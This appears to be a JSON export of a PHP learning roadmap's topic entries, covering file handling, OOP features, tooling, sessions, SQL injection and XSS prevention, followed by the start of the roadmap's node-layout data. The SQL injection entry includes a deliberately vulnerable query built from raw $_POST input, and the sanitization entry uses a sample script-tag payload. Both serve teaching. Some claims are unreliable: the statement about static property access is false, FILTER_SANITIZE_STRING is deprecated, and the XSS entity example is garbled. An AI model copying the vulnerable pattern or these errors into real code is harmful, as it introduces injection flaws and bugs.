    "path": "src/data/roadmaps/php/content/psr-standards@3tONibbRgK7HCwGTE2Gqw.md",
    "content": "# PSR Standards\n\nThe PHP Framework Interop Group (PHP-FIG) introduced PHP Standard Recommendation (PSR) standards to provide a uniform and interoperable set of coding practices for PHP developers. PSR standards cover a variety of coding aspects such as code style (PSR-1, PSR-2), autoloading (PSR-4), and more. The PHP community widely accepts these standards contributing towards writing clean and easy-to-follow code.\n\nHere's a snippet to illustrate the PSR-4 autoloading standards in PHP:\n\n    // Register the autoloader\n    spl_autoload_register(function ($class) {\n        // Convert namespace to directory structure\n        $class = str_replace('\\\\', DIRECTORY_SEPARATOR, $class) . '.php';\n    \n        // Get file if it exists\n        if (file_exists($class)) {\n            require $class;\n        }\n    });\n\nVisit the following resources to learn more:\n\n- [@official@PSR Standards](https://www.php-fig.org/psr/)"
  },
  {
    "path": "src/data/roadmaps/php/content/reading-files@S9wTlkbv9-R6dohhZ47hs.md",
    "content": "# Reading Files\n\nReading files is a common task in PHP and it provides a range of functions for this purpose. You can use the `fopen()` function with the 'r' mode to open a file for reading. The `fgets()` function lets you read a file line by line, while `fread()` reads a specified number of bytes. For reading the entire file in one go, use `file_get_contents()`. Remember to always close the file after you're done with `fclose()`.\n\nHere's a small example using `fgets()`:\n\n    $file = fopen(\"example.txt\", \"r\"); \n    if ($file) {\n        while (($line = fgets($file)) !== false) {\n            echo $line;\n        }\n        fclose($file);\n    } else {\n        echo 'Error opening file';\n    }\n\nVisit the following resources to learn more:\n\n- [@official@Filesystem Operations](https://www.php.net/manual/en/book.filesystem.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/recursion@D9ybK5INH5zSOcYMb5ZPi.md",
    "content": "# Recursion\n\nRecursion, as it applies to PHP, refers to a function that calls itself to solve a problem. A recursive function distinguishes itself by solving small parts of the problem until it resolves the main issue. Think of it as breaking down a task into smaller tasks that are easier to solve. However, careful design is needed to ensure the recursive function has a clear stopping point, or else it can result in an infinite loop. Here's a quick example of a simple recursive function in PHP:\n\n    function countDown($count) {\n        echo $count;\n        if($count > 0) {\n            countDown($count - 1);\n        }\n    }\n    countDown(5);\n    \n\nIn this example, the function `countDown` calls itself until the count hits zero, displaying numbers from 5 to 0.\n\nVisit the following resources to learn more:\n\n- [@official@Functions - Recursion](https://www.php.net/manual/en/language.functions.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/require@Kaaqu-mN7xvHN6CbIn616.md",
    "content": "# require\n\nThe 'require' statement is a built-in feature of PHP used to include and evaluate a specific file while executing the code. This is a crucial part of file handling in PHP because it enables the sharing of functions, classes, or elements across multiple scripts, promoting code reusability and neatness. Keep in mind, if the required file is missing, PHP will produce a fatal error and stop the code execution. The basic syntax is `require 'filename';`.\n\nVisit the following resources to learn more:\n\n- [@official@require](https://www.php.net/manual/en/function.require.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/require_once@-CyJbsg2ho3RvfzKnJj5C.md",
    "content": "# require_once\n\nPHP uses the 'require\\_once' statement as an efficient way to include a PHP file into another one. There's an interesting quirk to this function: PHP checks if the file was previously included, and if so, it doesn't include the file again. This helps avoid problems with redundant function declarations, variable value reassignments, or coding loops. However, do remember that 'require\\_once' is distinct from 'include\\_once'. The key difference lies in error handling: if the file specified in 'require\\_once' cannot be found, PHP will emit a fatal error and halt script execution. Whereas, 'include\\_once', will only generate a warning.\n\nHere's how you can utilize 'require\\_once':\n\n    <?php\n    require_once('somefile.php');\n    ?>\n    \n\nThis code fetches all the functions and codes from 'somefile.php' and includes them in the current file.\n\nVisit the following resources to learn more:\n\n- [@official@require_once](https://www.php.net/manual/en/function.require-once.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/sanitization-techniques@tfC1tCrbvH5J43WUpG9Yb.md",
    "content": "# Sanitization Techniques\n\nSanitization Techniques is a vital part of PHP security basics, which ensures that the user-provided data is safe to be used within your script. It can prevent harmful data from being inserted into the database or being used in other ways that could potentially be dangerous to your application. It includes functions which can strip off unwanted characters from the data. For instance, the `filter_var()` function in PHP can be applied to sanitize text.\n\n    $dirty_data = \"<p>We love PHP!</p><script>alert('Virus!')</script>\";   \n    $clean_data = filter_var($dirty_data, FILTER_SANITIZE_STRING);\n    echo $clean_data;\n\nVisit the following resources to learn more:\n\n- [@official@Sanitization Techniques](https://www.php.net/manual/en/function.filter-var.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/sessions@qobzzgzArNHLLn9Oiqc6G.md",
    "content": "# Sessions\n\nSessions provide a way to preserve certain data across subsequent accesses. Unlike a cookie, the information is not stored on the user's computer but on the server. This is particularly useful when you want to store information related to a specific user's session on your platform, like user login status or user preferences. When a session is started in PHP, a unique session ID is generated for the user. This ID is then passed and tracked through a cookie in the user's browser. To start a session, you would use the PHP function session\\_start(). To save a value in a session, you'd use the $\\_SESSION superglobal array. For example, `$_SESSION['username'] = 'John';` assigns 'John' to the session variable 'username'.\n\nVisit the following resources to learn more:\n\n- [@official@Sessions](https://www.php.net/manual/en/book.session.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/sql-injection@801vB_JMas4ucriUmfrLg.md",
    "content": "# SQL Injection\n\nSQL Injection is a crucial security topic in PHP. It is a code injection technique where an attacker may slip shady SQL code within a query. This attack can lead to data manipulation or loss and even compromise your database. To prevent this, PHP encourages the use of prepared statements with either the MySQLi or PDO extension. An example of a vulnerable code snippet would be: `$unsafe_variable = $_POST['user_input']; mysqli_query($link, \"INSERT INTO` table `(`column`) VALUES ('$unsafe_variable')\");`. Stop falling prey to injections by utilizing prepared statement like so: `$stmt = $pdo->prepare('INSERT INTO` table `(`column`) VALUES (?)'); $stmt->execute([$safe_variable]);`.\n\nVisit the following resources to learn more:\n\n- [@official@SQL Injection](https://www.php.net/manual/en/security.database.sql-injection.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/state-management@CGehmZjcgTWC7fQAvxmNW.md",
    "content": "# State Management\n\nState management in PHP involves keeping track of user activity in the application, as HTTP protocol doesn't store earlier interactions. Typically, these data involve user details such as login info, form input data, etc. A prevalent method of state management in PHP is through sessions and cookies. Sessions work by keeping the state data on the server side and a session identifier on the client side. Note, session's info remains active until the user's session expires. On the other hand, cookies store data on the client side, having an expiry date or until the user deletes them. Here's how to set a cookie in PHP: `setcookie(\"test_cookie\", \"test\", time() + 3600, '/');`. To access sessions, use the `_SESSION` superglobal array: `$_SESSION[\"favcolor\"] = \"green\";`.\n\nVisit the following resources to learn more:\n\n- [@official@setcookie](https://php.net/manual/en/function.setcookie.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/static-analysis@PrG_5dyBblXsWYYRcOJMa.md",
    "content": "# Static Analysis\n\nStatic analysis in PHP is a method to inspect the source code before running it. Rather than testing programs on specific inputs (dynamic analysis), static analysis focuses on finding potential issues within code without executing it. It can help in identifying common coding mistakes and uncovering complex problems like dependency issues, unused variables, undeclared properties, and more. Using tools such as PHPStan or Psalm provides this static analysis feature in PHP. For instance, using PHPStan involves merely installing it via Composer and running it against your codebase.\n\n    composer require --dev phpstan/phpstan\n    ./vendor/bin/phpstan analyse src\n    \n\nIt outputs information about any issues it finds in code. However, to reap the full benefits, understand that these tools require proper configuration and regular usage.\n\nVisit the following resources to learn more:\n\n- [@official@PHP Stan](https://phpstan.org/)\n- [@official@PHP Stan - Getting Started](https://phpstan.org/user-guide/getting-started)"
  },
  {
    "path": "src/data/roadmaps/php/content/static-methods-and-properties@qlkpwXfOc1p7j37hrzffI.md",
    "content": "# Static Methods and Properties\n\nStatic methods and properties in PHP belong to the class rather than an instance of the class. This means they can be accessed without creating an object of the class. A static method is declared with the static keyword and can be invoked directly using the class name followed by the scope resolution operator. Similarly, a static property is also defined with the static keyword, but cannot be accessed directly, even from within the class methods - they must be accessed through static methods. Here's a simple example:\n\n    class MyClass {\n        static $myStaticProperty = \"Hello, world\";\n    \n        static function myStaticMethod() { \n            return self::$myStaticProperty; \n        }\n    }\n    \n    echo MyClass::myStaticMethod(); \n    \n\nIn this example, we're directly accessing `myStaticMethod` from `MyClass` without an instantiation.\n\nVisit the following resources to learn more:\n\n- [@official@Static Methods and Properties](https://www.php.net/manual/en/language.oop5.static.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/style-tools@6eWgZVLV479oQzl0fu-Od.md",
    "content": "# Style Tools\n\nStyle Tools in PHP are primarily coding standard tools that help maintain a consistent coding style throughout your PHP project. PHP_CodeSniffer is a popular tool in this category. It tokenizes PHP, JavaScript, and CSS files and detects violations of a defined set of coding standards. A brief example of PHP_CodeSniffer usage would be to run it in the command line like this: `phpcs /path/to/code/myfile.php`. Other tools, such as PHP CS Fixer, can automatically correct coding standard violations.\n\nVisit the following resources to learn more:\n\n- [@article@PHP code quality tools](https://www.jetbrains.com/help/phpstorm/php-code-quality-tools.html)\n- [@opensource@PHP_CodeSniffer](https://github.com/PHPCSStandards/PHP_CodeSniffer/)"
  },
  {
    "path": "src/data/roadmaps/php/content/switch@bgJ9-m6Fiu3VCc-NZlbpn.md",
    "content": "# switch\n\nThe switch statement is a special conditional statement in PHP that can simplify code and improve readability when you need to compare one value with multiple different possibilities. It is an alternative to using a chain of \"if...else\" conditions, and is particularly useful when you have many different cases to compare. The switch expression is evaluated only once, and its value is compared to each case. When a match is found, PHP executes the associated code block.\n\nHere's a basic switch statement:\n\n    $fruit = \"apple\";\n    switch ($fruit) {\n      case \"apple\":\n        echo \"You chose apple.\";\n        break;\n      case \"banana\":\n        echo \"You chose banana.\";\n        break;\n      default:\n        echo \"Invalid choice.\";\n    }\n    // Outputs: You chose apple.\n    \n\nSwitch statements can make your code cleaner and easier to manage, especially when dealing with multiple conditions.\n\nVisit the following resources to learn more:\n\n- [@official@switch](https://www.php.net/manual/en/control-structures.switch.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/symfony@57VSMVePOr9qUD5x_LNdf.md",
    "content": "# Symfony\n\nSymfony is a set of PHP components and a framework for web projects. It aims to speed up the creation and maintenance of web applications and replace the recurring coding tasks. Symfony uses Composer, a PHP dependency manager, to manage its components. Below is an example of creating a new Symfony project:\n\n    composer create-project symfony/website-skeleton myproject\n    \n\nThis will download and install a new Symfony project in the 'myproject' directory. Symfony's components are reusable PHP libraries that will help you complete tasks, like routing, templating, or even creating form handling.\n\nVisit the following resources to learn more:\n\n- [@official@Symfony](https://symfony.com/)\n- [@official@Symfony Documentation](https://symfony.com/doc/current/index.html)"
  },
  {
    "path": "src/data/roadmaps/php/content/traits@GR09ns9B-0cONQaQ_uj-7.md",
    "content": "# Traits\n\nTraits is a concept in PHP that allows code reusability by enabling developers to create reusable pieces of code which can be used in classes to extend functionality. They are a way to reduce intricacies of single inheritance by enabling a developer to reuse sets of methods freely in several independent classes.\n\nHere's an example how to use a Trait:\n\n    trait Greeting {\n        public function sayHello() {\n            return \"Hello\";\n        }\n    }\n    class User {\n        use Greeting;\n    }\n    $user = new User();\n    echo $user->sayHello(); // Outputs: Hello\n    \n\nIn the above code snippet, the `Greeting` trait is being used in the `User` class, and we are able to use its methods as if they were defined in the `User` class.\n\nVisit the following resources to learn more:\n\n- [@official@Traits](https://www.php.net/manual/en/language.oop5.traits.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/type-declarations@sPW-Ti2VyNYzxq6EYkbn7.md",
    "content": "# Type Declarations\n\nType declarations, also known as type hints, are a feature in PHP that provides you options to specify the type of variable that a function is expected to receive or the type of value that it should return. Not only does it help to debug code quickly, it also makes the code more readable. In PHP, type declarations can be for both parameters in a function (parameter type declarations) and return values from a function (return type declarations). They can apply to classes, interfaces, callable, and scalar types (int, float, string, bool).\n\nHere's an example:\n\n    function add(int $a, int $b): int {\n        return $a + $b;\n    }\n    \n    echo add(1, 2);  // prints: 3\n    \n\nIn this example, the function 'add' only accepts integers and also returns an integer.\n\nVisit the following resources to learn more:\n\n- [@official@Type Declarations](https://www.php.net/manual/en/functions.arguments.php#functions.arguments.type-declaration)"
  },
  {
    "path": "src/data/roadmaps/php/content/var_dump@JCCeVC0hOrvIeyfg1ScKA.md",
    "content": "# var_dump\n\nVar\\_dump is a built-in PHP function that's incredibly handy for debugging as it outputs the data type and value of a given variable. This includes array elements and object properties, if given such types. If you're wrangling with your PHP code and finding your variables aren't behaving as you expect, using var\\_dump can quickly show you what you're working with. Check out a simple usage example below:\n\n    $myVar = array( \"Hello\", \"World!\");\n    var_dump($myVar);\n    \n\nThis will output the size of array and details of each element in the array.\n\nVisit the following resources to learn more:\n\n- [@official@var_dump](https://www.php.net/manual/en/function.var-dump.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/variables-and-scope@D0BtyxyjIBcpfn5wP23WC.md",
    "content": "# Variables and Scope\n\nVariables are a central part of PHP, allowing you to store data that can be used later in your scripts. Their values can be of various types including strings, integers, arrays, and objects. PHP has both local and global scope when it comes to variables. Local scope refers to variables that are only accessible within the function they are defined, while global scope means a variable is accessible to any part of the script. However, to use a global variable inside a function, you need to declare it as global. Here's a brief example:\n\n    $x = 10; //global variable\n    function test() {\n        global $x; // accessing the global variable\n        echo $x;\n    }\n    test(); //prints 10\n\nVisit the following resources to learn more:\n\n- [@official@Variables and Scope](https://www.php.net/manual/en/language.variables.scope.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/variadic-functions@rtmytETfyyLdcXUC0QyzL.md",
    "content": "# Variadic Functions\n\nVariadic functions in PHP are functions that can accept any number of arguments. This gives you greater flexibility, as it allows for an undetermined number of arguments. You can create a variadic function by adding '...' before the function argument. Any number of arguments you provide when calling the function are treated as an array, which can be processed using common array functions.\n\nA simple code example:\n\n    function sum(...$numbers) {\n        return array_sum($numbers);\n    }\n    echo sum(1, 2, 3, 4);\n    \n\nThis prints \"10\". The function accepts any number of arguments and adds them together.\n\nVisit the following resources to learn more:\n\n- [@official@Variadic Functions](https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list)"
  },
  {
    "path": "src/data/roadmaps/php/content/wamp@36Y1HkHxhuxh2qVQB8NVE.md",
    "content": "# WAMP\n\nWAMP is a popular software stack used for developing PHP web applications on Windows systems. Acting as an abbreviation for Windows, Apache, MySQL, and PHP, WAMP provides all the components necessary to set up a local web server. Apache is used to handle HTTP requests, MySQL manages the databases, and PHP serves as the programming language. The benefit of using WAMP lies in its convenience as it pre-packages all these components, saving time for the developer. You can download WAMP from its official website, then after installation, testing of your PHP scripts can be done locally without needing an internet connection.\n\nVisit the following resources to learn more:\n\n- [@official@Windows Installation](https://www.php.net/manual/en/install.windows.manual.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/what-is-php@_LhLDVZjLt1DoAP1NuUES.md",
    "content": "# What is PHP?\n\nPHP, an acronym for Hypertext Preprocessor, is a popular server-side scripting language favored for web development. It's versatile, dynamic, and can be embedded seamlessly into HTML code. PHP scripts are executed on the server, and the result is sent back to the browser as plain HTML.\n\nVisit the following resources to learn more:\n\n- [@official@What is PHP?](https://www.php.net/manual/en/introduction.php)\n- [@article@Introduction to PHP](https://www.phptutorial.net/php-tutorial/what-is-php/)"
  },
  {
    "path": "src/data/roadmaps/php/content/writing-files@two4UycJaCfSp6jQqtTAb.md",
    "content": "# Writing Files\n\nWriting files plays a crucial part in PHP, allowing you to store data and modify it later. This process involves opening the file, writing the desired data, and then closing it. Writing can be done using different functions, but `fwrite()` is the most commonly used one. It requires two arguments the file pointer and the string of data to be written. Here's a brief snippet of code for instance:\n\n    $file = 'data.txt';\n    $current = file_get_contents($file);\n    $current .= \"New Data\\n\";\n    file_put_contents($file, $current);\n    \n\nIn this code, `file_get_contents()` is used to get the current data, then new data is appended, and `file_put_contents()` is used to write back to the file.\n\nVisit the following resources to learn more:\n\n- [@official@Writing Files](https://www.php.net/manual/en/function.fwrite.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/xampp@-wniKEBwbF0Fi1fHpF-Gc.md",
    "content": "# XAMPP\n\nXAMPP is an open-source development environment that stands for Cross-Platform (X), Apache server (A), MariaDB (M), PHP (P), and Perl (P). If you're working with PHP, it's a handy tool because it creates a local web server for testing or development purposes. It's especially useful if you plan to use a database in your project, as it includes MariaDB. It integrates seamlessly with PHP, enabling you to manage your server, scripting language, and database from a unified platform with less hassle. A code sample isn't really applicable here as XAMPP is more about setup and management. For more information, you can visit the official PHP documentation: .\n\nVisit the following resources to learn more:\n\n- [@official@Installing Apache2](https://www.php.net/manual/en/install.windows.apache2.php)\n- [@official@XAMPP](https://www.apachefriends.org/)"
  },
  {
    "path": "src/data/roadmaps/php/content/xdebug@lFoHoMRywCWa056ii5cKQ.md",
    "content": "# Xdebug\n\nXdebug is a PHP extension that provides debugging and profiling capabilities. It's a powerful tool that can help you understand what your code is doing, track down bugs, and optimize performance. With Xdebug, you can set breakpoints, watch variables, and step through your code one line at a time. For instance, to start using Xdebug, you first need to install it and then initialize it in your code like so:\n\n    <?php\n    \n    xdebug_start_trace();\n    \n    // Your code here...\n    \n    xdebug_stop_trace();\n    ?>\n    \n\nXdebug can significantly speed up bug-tracking and testing, making it an essential tool in any PHP developer's toolkit.\n\nVisit the following resources to learn more:\n\n- [@official@Xdebug](https://xdebug.org/)\n- [@official@Xdebug Documentation](https://xdebug.org/docs/)"
  },
  {
    "path": "src/data/roadmaps/php/content/xml-processing@ggkWo0DRSSDDkHpbiyUyf.md",
    "content": "# XML Processing\n\nXML processing in PHP allows manipulation and interpretation of XML documents. PHP's XML Parser extension helps to parse XML data from strings and files, providing event-driven processing capabilities. This is especially useful during large XML parsing. To process XML in PHP, you first create an XML parser, set functionality through handler functions for the start and end of elements, character data, etc., and then parse the XML data. The `xml_parser_create()`, `xml_set_element_handler()`, `xml_parse()`, and `xml_parser_free()` functions come into play here. Here's a brief snippet showing XML parsing in PHP:\n\n    $parser = xml_parser_create();\n    xml_set_element_handler($parser, \"startElement\", \"endElement\");\n    xml_parse($parser, $xml_data);\n    xml_parser_free($parser);\n\nVisit the following resources to learn more:\n\n- [@official@XML Processing](https://www.php.net/manual/en/book.xml.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/xss-prevention@DxqQrToZSayWplKdCkTgT.md",
    "content": "# XSS Prevention\n\nCross Site Scripting, often known as XSS, is a glaring risk in web security, and PHP also must address it. It occurs when someone is able to insert dangerous code into your site, which can then be executed by users. To prevent XSS in PHP, developers should deploy `htmlspecialchars()` function to escape potentially harmful characters. This function converts special characters to their HTML entities, reducing risk. For instance, '<' becomes '<'.\n\nSample PHP code to implement this:\n\n    $secure_text = htmlspecialchars($raw_text, ENT_QUOTES, 'UTF-8');\n    \n\nIn this code, `$raw_text` contains user input that might be risky. By using `htmlspecialchars()`, `$secure_text` will now hold a sanitized version of the user input.\n\nVisit the following resources to learn more:\n\n- [@official@Special Charsets](https://www.php.net/manual/en/function.htmlspecialchars.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/zend-debugger@KpQb5Zh3GUcbYUyXHvyu2.md",
    "content": "# Zend Debugger\n\nZend Debugger is a PHP debugging extension used to identify issues in PHP scripts. It allows you to monitor and fix issues in your code, such as logical errors, and helps in boosting your web application's overall performance. Essentially, it becomes a simple yet powerful method for debugging server-side PHP scripts, by providing detailed debugging data and facilitating real-time interaction with the scripts. Using Zend Debugger with PHP can drastically improve the quality of your codebase and save considerable time in the development phase. A short usage example of Zend Debugger can be setting up a debug session, using the function `zend_debugger_connector_address()` which returns the IP address of the debugger currently in use.\n\nVisit the following resources to learn more:\n\n- [@official@Zend Debugger](https://www.zend.com/topics/Debugger-API)"
  },
  {
    "path": "src/data/roadmaps/php/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/php/php.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"width\": 21,\n      \"height\": 123,\n      \"id\": \"JdMITvYygFHULtbW-267m\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 881.9180934525762,\n        \"y\": 3363.2511474107714\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"xi0QAi4kXm3-IFKgopnOP\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 881.9180934525762,\n        \"y\": 3363.2511474107714\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 123\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 123\n      }\n    },\n    {\n      \"id\": \"WobnwQysg22KeqQUfFq3c\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1041.4180934525762,\n        \"y\": 3331.0269640131846\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"xz_XU3RNTleqzeG8jiL1j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1041.4180934525762,\n        \"y\": 3331.0269640131846\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"33xDnONCKXab3GnA_QgR0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1186.8762749805198,\n        \"y\": 3007.512902256284\n      },\n      \"width\": 184,\n      \"height\": 166,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 166\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 1186.8762749805198,\n        \"y\": 3007.512902256284\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 166\n      }\n    },\n    {\n      \"id\": \"pc14qPNQD6yLbN54QCFrw\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 732.9180934525762,\n        \"y\": 3002.580124766453\n      },\n      \"width\": 300,\n      \"height\": 271,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 271\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 732.9180934525762,\n        \"y\": 3002.580124766453\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 271\n      }\n    },\n    {\n      \"id\": \"gn5qNP3VTmmQE2tT6o-vS\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 444.87747700920465,\n        \"y\": 3001.1243840820907\n      },\n      \"width\": 239,\n      \"height\": 382,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 382\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 444.87747700920465,\n        \"y\": 3001.1243840820907\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 382\n      }\n    },\n    {\n      \"id\": \"4DITxbB38FakSCzjsQ0Js\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 770.668796508003,\n        \"y\": 2757.8091148195394\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 203,\n      \"height\": 109,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 109\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 770.668796508003,\n        \"y\": 2757.8091148195394\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 109\n      }\n    },\n    {\n      \"id\": \"O-VQ9xI9U_dcv1eXC10Pm\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1239.6168887792574,\n        \"y\": 2591.870465591149\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 241,\n      \"height\": 105,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 105\n      },\n      \"positionAbsolute\": {\n        \"x\": 1239.6168887792574,\n        \"y\": 2591.870465591149\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 105\n      }\n    },\n    {\n      \"id\": \"k2geFuCziHUELrMsMYMom\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 864.1096183840161,\n        \"y\": 2465.815593385017\n      },\n      \"width\": 211,\n      \"height\": 221,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 221\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 864.1096183840161,\n        \"y\": 2465.815593385017\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 221\n      }\n    },\n    {\n      \"id\": \"nWYHpcvp1RT1gSqs1Dqcs\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1239.9723696321892,\n        \"y\": 2458.216035499366\n      },\n      \"width\": 241,\n      \"height\": 112,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 112\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 1239.9723696321892,\n        \"y\": 2458.216035499366\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 112\n      }\n    },\n    {\n      \"id\": \"A_lYlCAkORf0LldseIxtz\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 708.7340367056072,\n        \"y\": 1747.4173970557417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 326,\n      \"height\": 329,\n      \"style\": {\n        \"width\": 326,\n        \"height\": 329\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 708.7340367056072,\n        \"y\": 1747.4173970557417\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 326,\n        \"height\": 329\n      }\n    },\n    {\n      \"id\": \"1mXQQdSdlKkWfjlT47nE0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 431.52449280028634,\n        \"y\": 1750.3006388732697\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 212,\n      \"height\": 106,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 106\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 431.52449280028634,\n        \"y\": 1750.3006388732697\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 106\n      }\n    },\n    {\n      \"id\": \"CORVHVLE5hxVl5fd4jVhd\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1074.4015161102686,\n        \"y\": 1648.8680076368641\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 410,\n      \"height\": 266,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 266\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1074.4015161102686,\n        \"y\": 1648.8680076368641\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 410,\n        \"height\": 266\n      }\n    },\n    {\n      \"id\": \"dv4WVzUCQ6d95AfBqdqQV\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 439.116943359375,\n        \"y\": 1080.671875\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      